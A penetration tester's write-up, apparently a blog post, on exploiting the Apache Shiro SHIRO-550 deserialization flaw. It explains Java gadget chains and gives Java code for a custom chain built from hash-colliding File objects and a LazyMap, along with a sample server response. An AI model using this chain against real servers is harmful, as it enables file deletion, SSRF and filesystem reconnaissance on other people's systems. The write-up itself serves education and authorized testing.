While pentesting a friend's website I discovered an outdated Apache Shiro library, which contains the CVE-2016-4437/SHIRO-550 vulnerability. This crypto issue leads to Java code deserializing attacker-controlled binary data - a vulnerability type known to result in remote code execution. As I hadn't exploited such issues before and the famous "ysoserial" tool didn't work for this target, I needed to understand enough of Java deserialization to circumvent whatever was making the ysoserial payloads fail. This write-up recounts the story.
What's a deserialization gadget chain?
The online resources I found either glossed over the details or assumed the reader had in-depth knowledge of JVM deserialization, so I “reverse engineered” the details based on published exploits and came up with this 100-foot simplification of Java serialization:
- When deserializing an object, most fields of are typically deserialized using a default deserializer in the superclass. (which might then recursively deserialize other objects)
- Additionally, some objects have custom deserialization logic. An example of this would be a HashMap - the objects need to be hashed as they are being deserialized.
A typical exploit chain places carefully crafted objects into default-serialized fields (point 1 above), so that the custom logic (point 2 above) will do something unexpected when referencing them. To see how this might lead to RCE, let's consider the LazyMap class from the Apacha Commons Collections (an extremely common library).
LazyMap wraps a normal Map so that non-existent keys are automatically created by applying a Transformation to the queried key. Transformations are serializable pieces of logic. They are quite versatile and include the ability to chain to other Transformations, take constants, and invoke methods on an object (InvokerTransformer). The ability to take any serializable constant and then repeatedly call arbitrary methods on it (with arbitrary parameters) is tantamount to RCE given Java's reflection capabilities. Thus we can craft a map that runs a shell command as soon as a nonexistent object is looked up in it.
What remains is to build the first part of the chain of serializable objects so that somewhere along the deserialization tree, the custom logic (point 2) will trigger a lookup from a default-serialized object (point 1). We can then simply place a LazyMap laced with our Transformations as a Map field. Now, let's zoom in on why the original payloads from ysoserial didn't work.
What made the ysoserial payloads fail?
- I set up a test environment based on Apache Shiro samples and triggered the ysoserial payloads. Investigating the resulting errors reveals that Shiro uses a buggy classloader that is unable to deserialize any arrays. Unfortunately, most ysoserial payloads do contain an array of some sort:
- ChainedTransformer - the chain of transformers inside this object is an array, thus we cannot use ChainedTransformer at all
- InvokerTransformer - the list of arguments given to the function is an array and will fail deserialiation. However, if we give no arguments, (de)serialization succeeds.
The remaining payloads in ysoserial depend on classes that were not present in our target system :/ So looks like we cannot give parameters to method calls nor chain method calls to one another. Is all hope of succesful exploitation lost?
Crafting a working chain
- Let's start working backwards from the limitations: InvokerTransformer works as long as we don't provide a list of arguments, which suggests it might be possible to somehow to invoke one method without arguments on a (serializable) object of our choosing. What would that give us? A quick skim through the Java docs shows a few interesting serializable classes that have no-parameter methods:
- java.io.File objects are serializable and have e.g. a createNewFile() and delete() methods without paramters
- URL objects are serializable and have e.g. an openConnection() method
Thus we could delete files on the server or trigger HTTP requests behind the firewall (=SSRF) if we're able to trigger a no-parameter method on such an object. This is already a clear state-changing action that demonstrates the vulnerability.
Now let's start working our way towards a chain based on invoking such a method on e.g. a File object. Remember the LazyMap object which created objects on the fly? If we could force the File object to be looked up in our LazyMap, this would give us the "serializable object + 1 no-parameter method" primitive.
Thinking about ways to force such a look-up, I came up with the idea of using the equality comparison of 2 maps. In the course of testing the equality of maps A and B, the equals code would need to (try to) look up each key from map A. Thus placing our object as a key in a Map, and forcing a comparison with a LazyMap laced with a InvokerTransformer enables us to invoke a no-parameter method of our choice on this object.
SortedMap doesn't work with non-orderable keys like java.io.File but HashMap does, with the caveat that we have to somehow avoid the hash-comparison fast path and force a full comparison. Luckily the Java hashing function was simple (s*31^(n-1) + s*31^(n-2) + ...) so colliding File objects can be created by decreasing one byte of the filename by 1 and increasing the next byte by 31 or vice versa. (A forced hash collision was also used in a JRE 7u21 chain for a slightly different end goal.) With the hash collisions ready, placing a HashMap and a LazyMap inside a HashSet will force an equals between them when deserializing:
In the end, this technique proved succesful and I was able to look up e.g. file paths opened by the server process by resolving the canonical path of e.g. /proc/self/fd/X.
File file1 = new File("/proc/self/fd/0"); File file2 = new File("/proc/tFlf/fd/0"); // collision with file1 String methodToInvoke = "getCanonicalPath"; Map normalMap = new HashMap(); Map wrappedMap = new HashMap(); Set hashsetToServer = new HashSet(); normalMap.put(file1, "1"); wrappedMap.put(file2, "1"); // Build the exploit in a neutralized form using "toString" Transformer mainIT = InvokerTransformer.getInstance("toString"); Map lazy = MapUtils.lazyMap(wrappedMap, mainIT); // Place the LazyMap and normal Map to the same HashSet // to force an "equals" comparison between them Set forceEquals = new HashSet(); forceEquals.add(lazy); forceEquals.add(normalMap); hashsetToServer.add(forceEquals); // remove the URI added during premature "detonation" on // the previous line (execution of toString) wrappedMap.remove(file1); // Arm the exploit by replacing "toString" with the target method Field f1 = InvokerTransformer.class.getDeclaredField("iMethodName"); f1.setAccessible(true); f1.set(mainIT, methodToInvoke); f1.setAccessible(false); SimplePrincipalCollection spc = new SimplePrincipalCollection(hashsetToServer, "dbRealm"); // then serialize, encrypt, and ship 'spc' to the target server...
Sending the generated chain to an endpoint that shows us the toString value of the current user reveals that stdin is bound to /dev/null on this host:
< HTTP/1.1 200 OK < Server: Apache-Coyote/1.1 < Set-Cookie: JSESSIONID=REDACTED Path=/; Secure; HttpOnly < Content-Type: text/html;charset=utf-8 < Transfer-Encoding: chunked < * Connection #0 to host redacted.com left intact User: '[[/proc/self/fd/0:1]:1, [/proc/self/fd/0:/dev/null, /proc/tFlf/fd/0:1]:1]'
I was happy with the ability to poke around the filesystem and create empty files, and left it at that and reported it to the friend. If I had more time and needed a full RCE, I'd focus on some of the RMI objects/RMI stubs which are serializable and can connect to remote servers.